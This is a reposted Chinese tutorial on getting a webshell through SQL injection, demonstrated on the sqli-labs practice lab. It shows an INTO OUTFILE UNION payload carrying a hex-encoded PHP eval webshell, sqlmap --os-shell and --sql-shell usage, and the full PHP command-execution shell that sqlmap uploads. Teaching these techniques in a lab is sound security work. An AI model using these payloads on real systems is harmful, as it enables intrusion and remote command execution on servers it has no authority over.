sql注入getshell的几种方式

VSole2022-07-08 08:09:43
目录一. into outfile    利用条件    写入webshell二. --os-shell    --sql-shell

介绍几种利用sql注入获取系统权限的方法,一是利用outfile函数,另外一种是利用--os-shell。

一. into outfile

利用条件

1. 此方法利用的先决条件

  • web目录具有写权限,能够使用单引号
  • 知道网站绝对路径(根目录,或则是根目录往下的目录都行)
  • secure_file_priv没有具体值(在mysql/my.ini中查看)

2. secure_file_priv

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
  • 所以如果我们要想使用into outfile函数写入一句话的话就需要将secure_file_priv 的值设为没有值,那如何设置了?修改secure_file_priv 的值只能通过手动打开配置文件进行修改,不能直接使用sql语句进行修改

(1)看secure-file-priv参数的值

show global variables like '%secure%';

如下,secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出

(2)修改secure_file_priv 的值

我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ' ' 即可

此时再查看secure_file_priv的值如下已经变为空了

设置完成后我们就可以利用这个函数来写入一句话木马

写入webshell

我们以sqli-labs第七关为例

1. 注入点判断

输入正确的语法正常显示,错误的语法显示说语法错误,页面只存在两种状态,判断为盲注。我们输入?id=3')) and sleep(5) --+时成功延时,所以注入点就为3')),我们输入的字符被包含在单引号中,且单引号外有两个双引号包裹

2. 判断列数

我们使用order by 语句判断列数,order by 3时,正常显示,4时不正常,判断为3列

3. 写入webshell

加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话 “ ”。一句话建议进行十六进制转码(不用编码也可以) 16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具

编码后,然后在最前面加上 0x。如下我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中

?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+

成功写入,这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于C编译器,Java编译器、一些配置文件的解析、Web服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows采用的是单个斜杠的路径分隔形式,导致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠"\\"分隔路径的形式。不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是"\",结果也就不会出问题了。

4. 连接webshell

成功连接

如果我们将 secure_file_priv的值为设置为null,我们在进行上面的写入操作发现并没有写进去。

所以没有写进去的情况有两种:

  • 网站的路径不对,或者没有使用双斜杠进行转义
  •  secure_file_priv的值不是为空

二. --os-shell

原理

--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

此为sqlmap的一个命令,利用这条命令的先决条件:

  • 要求为DBA,--is-dba(phpstudy搭建的一般为DBA)
  • secure_file_priv没有具体值
  • 知道网站的绝对路径
  • GPC为off,php主动转义的功能关闭

使用

1. 测试

我们以sqli-labs第一关为例


sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):


tmpbeewq.php    用来执行系统命令
tmpuqvgw.php     用来上传文件

1. tmpbeewq.php的文件内容为


 $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"
$w
";?>

访问一下

2. 使用tmpuqvgw.php上传文件

我们上传一个php的一句话后门

访问

所以这两种方式都需要知道网站的绝对路径才行。

补充:

上面说了sqlmap写入webshell的方式有三种,缺一不可

web目录具有写权限,能够使用单引号

知道网站绝对路径

secure_file_priv没有具体值(在mysql/my.ini中查看)

在最近的一次护网中,我使用sqlmap写webshell,知道了网站的根目录,还是写不进去。就是由于secure_file_priv的值为NULL。那怎么知道这个值是什么了

--sql-shell

我们可以先使用这个来执行一些sql语句,如这为实战中的测试

输入sql语句


select @@secure_file_priv

提示为NULL

所以就会出现,如下的错误

————————————————

作者:山山而川原文链接:https://blog.csdn.net/qq_44159028/article/details/116274542
sql注入sqlmap
本作品采用《CC 协议》,转载必须注明作者和本文链接
01登录框存在sql注入:通过前期的信息搜集,发现站点使用thinkphp3.2版本的框架,在登录页面验证存
发现漏洞七月正值暑假,闲暇时光在百度上inurl一番,找到了一个古老的企业OA系统IP站点,没有域名,扫过一眼,.NET流行时代的普遍漏洞浮现在脑海里——SQL注入在用户名里输入admin’,不负期望地报了错很明显,前后端都没有对用户的输入进行过滤,直接将’带入了SQL语句进行。初步判断,此OA系统存在SQL注入漏洞。漏洞验证打开BurpSuite,设置好浏览器代理,抓下HTTP请求,一气呵成。
option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27单引号尝试:存在sql注入sqlmap 走起!跑数据 格式有点问题。获取到管理员加密后的密码$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu使用john 来破解john pwd --wordlist=/usr/share/wordlist/rockyou.txt admin/snoopy 登录后台3x0:后台篇在后台查找一番发现 类似于模板的页面可以利用模板的信息在结合上面的端口信息没有ssh应该是从web端进入 webshell?就接着用了4x0:提权篇查看系统的内核版本启动kali上的apache,把exp上传到服务器把exp下载到靶机解压exp授权脚本使用exp报错不影响使用获取到root权限5x0:flag获得
记一次SQLmap实战
2021-09-28 07:41:13
简介:sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目
一些重要的SQLMap命令
2023-05-04 08:55:08
从扫描SQL注入漏洞到获取数据库名字、表和列,以及获得系统访问权限,其可被用于多种目的。我们必须给SQLMap提供有效的cookie才能对登录页面的POST请求进行扫描。不过别总是保持一个较高的值,因为可能会影响结果的准确性。默认情况下值为1,最高可以设置为3。值为3时,就是最大值,包含了一些严重的SQL查询。级别指定要执行的检查或payload的数量。
本靶机难度为高难度,涉及到了缓冲区溢出的源码审计 ,逆向分析,动态调试等漏洞技能点,攻击方法有2种:??SQL 注入得到的密码可以保留。
前段时间参加攻防演练的时候,发现目标系统有很多都使用了用友的产品,故整理一篇关于用友漏洞的文章。
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
vulnhub之Mercury的实践
2022-11-30 10:31:40
今天实践的是vulnhub的Mercury镜像,下载地址,https://download.vulnhub.
渗透测试很多时候需要的细心和耐心再加上一点运气
VSole
网络安全专家